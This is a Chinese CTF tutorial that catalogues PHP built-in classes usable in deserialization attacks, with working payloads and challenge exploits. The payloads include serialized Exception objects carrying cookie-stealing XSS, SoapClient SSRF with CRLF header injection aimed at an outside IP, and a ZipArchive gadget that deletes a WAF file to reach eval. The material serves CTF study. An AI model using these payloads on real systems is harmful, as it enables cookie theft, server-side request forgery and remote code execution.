前言

总结php中反序列化时会用到的原生类;php中内置很多原生的类,在CTF中常以echo new $a($b);这种形式出现,当看到这种关键字眼时,就要考虑本题是不是需要原生类利用了

目录遍历类

DirectoryIterator

这个类会创建一个指定目录的迭代器,当遇到echo输出时会触发Directorylterator中的__toString()方法,输出指定目录里面经过排序之后的第一个文件名,而一般情况第一个文件都是点号。没什么用,但是Directorylterator可以配合glob协议使用;与glob://协议结合将无视open_basedir对目录的限制

1
2
3
4
5
6
7
8
<?php
echo new DirectoryIterator("./");
echo "\n";
echo new DirectoryIterator("glob://f*");
?>

#.
#flag

FilesystemIterator

该类继承于Directorylterator,所以在用法上基本也是一样的。

GlobIterator

通过类名也不难看出,这是个自带glob协议的类,所以调用时就不必再加上glob://

1
2
3
4
5
<?php
echo new GlobIterator("./f*");
?>

#flag

文件读取类

SplFileObject

当用文件目录遍历到了敏感文件时,可以用SplFileObject类,同样通过echo触发SplFileObject中的__toString()方法。(该类不支持通配符,所以必须先获取到完整文件名称才行)

除此之外其实SplFileObject类,只能读取文件的第一行内容,如果想要全部读取就需要用到foreach函数,但若题目中没有给出foreach函数的话,就要用伪协议读取文件的内容

1
2
3
4
5
<?php
echo new SplFileObject("./flag.php");
echo "\n";
echo new SplFileObject("php://filter/read=convert.base64-encode/resource=flag.php");
?>

输出如下:

1
2
3
<?php

PD9waHANCiRmbGFnID0gImZsYWd7ekl4eWRfaXNfaGFja2VyfSI7DQo/Pg==

base64解码:

1
2
3
<?php
$flag = "flag{zIxyd_is_hacker}";
?>

报错类

Error/Exception

ERROR 适用于php7版本
Error类就是php的一个内置类用于自动自定义一个Error,它内置有一个toString的方法。
EXCEPTION 适用于php5、7版本
这个类利用的方式和原理和Error 类一模一样,但是适用于php5和php7,相对之下更加好用

Error/Exception_XSS

[BJDCTF 2nd]xss之光

扫后台,有.git 泄露,githack下载下来

1
2
3
<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

源码只有这三行;可触发序列化中的魔术方法__toString

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$y1ng = new Exception("<script>window.open('url/?'+document.cookie);</script>");
echo urlencode(serialize($y1ng));
?>
//window.open 是 javaScript 打开新窗口的方法

#也可以用window.location.href='url'来实现恶意跳转
<?php
$a = new Exception("<script>window.location.href='url'+document.cookie</script>");
echo urlencode(serialize($a));
?>

#或者用alert(document.cookie)直接弹出cookie,但此题不行,可能开了httponly。
<?php
$y1ng = new Exception("<script>alert(document.cookie)</script>");
echo urlencode(serialize($y1ng));
?>

flag就在cookies中

Error/Exception_绕过哈希比较

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
$a = new Exception("deadbeef",1);$b = new Exception("deadbeef",2);
echo $a;
echo "\n";
echo $b;
echo "\n";
if($a != $b)
{
echo "a!=b"."\n";
}

if(md5($a) === md5($b))
{
echo "md5相等"."\n";
}
if(sha1($a)=== sha1($b)){
echo "sha1相等";
}
?>
1
2
3
4
5
6
7
8
9
Exception: deadbeef in E:\phpstudy\phpstudy_pro\WWW\test.php:2
Stack trace:
#0 {main}
Exception: deadbeef in E:\phpstudy\phpstudy_pro\WWW\test.php:2
Stack trace:
#0 {main}
a!=b
md5相等
sha1相等

当变量a,b同时触发__toString()方法时,虽对象不同,但执行__toString()方法后,返回结果相同;这里需要注意a,b赋值时,必须要在同一行上,因为执行__toString()方法时会返回行号。虽然强碰撞也可以绕过,但是还是不如用报错类绕过的好,强碰撞绕过的字符非常长,如果对字符长度做了限制的话可以考虑利用报错类绕过哈希比较

其他类

ReflectionMethod 获取类方法的相关信息

可以结合getDocComment() 方法,用它来获取类中各个函数注释内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
highlight_file(__FILE__);
error_reporting(0);
class Sentiment{

/** flag{zIxyd_is_hacker} */
public function a(){
}
}
$a = $_GET['a'];
$b = $_GET['b'];
$c= $_GET['c'];
$d=new $a($b,$c);
var_dump($d->getDocComment());
?>
1
2
http://127.0.0.1/test.php?a=ReflectionMethod&b=Sentiment&c=a
#E:\phpstudy\phpstudy_pro\WWW\test.php:14: string(28) "/** flag{zIxyd_is_hacker} */"

SoapClient 类进行 SSRF

PHP 的内置类 SoapClient 是一个专门用来访问web服务的类,SOAP 协议是一种基于 XML 的协议,用于在 Web 应用程序之间进行交互,主要用于 Web 服务;WSDL:是一种 XML 文档,用于描述 Web 服务。

该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。

该类的构造函数如下:

1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
  • 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
  • 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。
1
2
3
4
5
6
<?php
$a = new SoapClient(null,array('uri'=>'zIxy', 'location'=>'http://81.71.13.76:6666/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();
1
2
3
4
5
6
7
8
9
10
11
ubuntu@zIxyd:~$ nc -lnnp 6666
POST / HTTP/1.1
Host: 81.71.13.76:6666
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.3.4
Content-Type: text/xml; charset=utf-8
SOAPAction: "zIxy#not_exists_function"
Content-Length: 383

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="zIxy" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_exists_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

从结果我们可以看到SOAPAction参数可控,我们可以在SOAPAction处注入恶意的换行,这样一来我们POST提交的header就是可控的,我们就可以通过注入来执行我们想要执行的操作了。

尝试传入token,发现新的问题,Content-Type在SOAPAction的上面,就无法控制Content-Type,也就不能控制POST的数据

在header里User-AgentContent-Type前面,通过user_agent同样可以注入CRLF,控制Content-Type的值

CRLF Injection

尝试控制token

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
$target = 'http://81.71.13.76:6666';
$post_string = 'token=ly0n';
$headers = array(
'X-Forwarded-For: 127.0.0.1',
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'zIxyd^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
ubuntu@zIxyd:~$ nc -lnnp 6666
POST / HTTP/1.1
Host: 81.71.13.76:6666
Connection: Keep-Alive
User-Agent: zIxyd
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Content-Length: 11

token=zIxyd
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaab#not_exists_function"
Content-Length: 383

<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaab" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:not_exists_function/></SOAP-ENV:Body></SOAP-ENV:Envelope>

成功控制

使用SoapClient反序列化+CRLF可以生成任意POST请求

1
Deserialization + __call + SoapClient + CRLF = SSRF

SoapClient__Example

ctfshow_web259

hint:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
die('error');
}else{
$token = $_POST['token'];
if($token=='ctfshow'){
file_put_contents('flag.txt',$flag);
}
}

源码:

1
2
3
4
5
6
7
8
9
#index.php
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

目的是在index.php通过反序列化一个原生类向flag.php发送请求,然后flag.php用file_put_contents把flag放到flag.txt里

exp

1
2
3
4
5
6
7
8
9
10
11
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$b = new SoapClient(null,array('location' => $target,
'user_agent'=>'zIxyd^^X-Forwarded-For:127.0.0.1,127.0.0.1^^Content-Type: application/x-www-form-urlencoded'.
'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,
'uri'=> "zIxyd"));
$a = serialize($b);
$a = str_replace('^^',"\r\n",$a);
echo urlencode($a);
?>

ZipArchive 类来删除文件

  • 适用于PHP 5 >= 5.2.0, PHP 7, PHP 8, PECL zip >= 1.1.0
  • 一个用 Zip 压缩的文件存档。

可以通过本类执行一些文件操作,在CTF可以用来删除waf

常用类方法:

1
2
3
4
5
6
7
8
ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

实例代码:

1
2
3
4
<?php
$zip = new ZipArchive;
$zip->open('filename', ZipArchive::CREATE)
?>

该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。

1
2
3
4
5
6
7
8
filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到cons

ZipArchive_Example

新建一个waf.txt文件,内容如下

1
this_is_test

新建一个test.php文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
highlight_file(__FILE__);
error_reporting(0);

class zIxyd {
public $object;
public $filename;
public $content;
public $code;
public function __destruct()
{
echo "Can you hack me?";
$this->object->open($this->filename,$this->content);

if(!file_get_contents("waf.txt")){
eval($this->code);
}else{
echo file_get_contents("waf.txt");
}
}
}

$code = $_POST['code'];

if(isset($code)){
unserialize($code);
}else{
echo "Please input your code";
}

代码很明显,只有不存在waf.txt文件,即可rce; 存在open函数,通过ZipArchive直接调用open方法删除目标机上的文件

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

class zIxyd {

public $object;
public $filename;
public $content;
public $code;
}

$a = new zIxyd();
$a ->object = new ZipArchive();
$a ->filename = "waf.txt";
$a ->content = ZipArchive::OVERWRITE;
$a ->code = "phpinfo();";
echo serialize($a);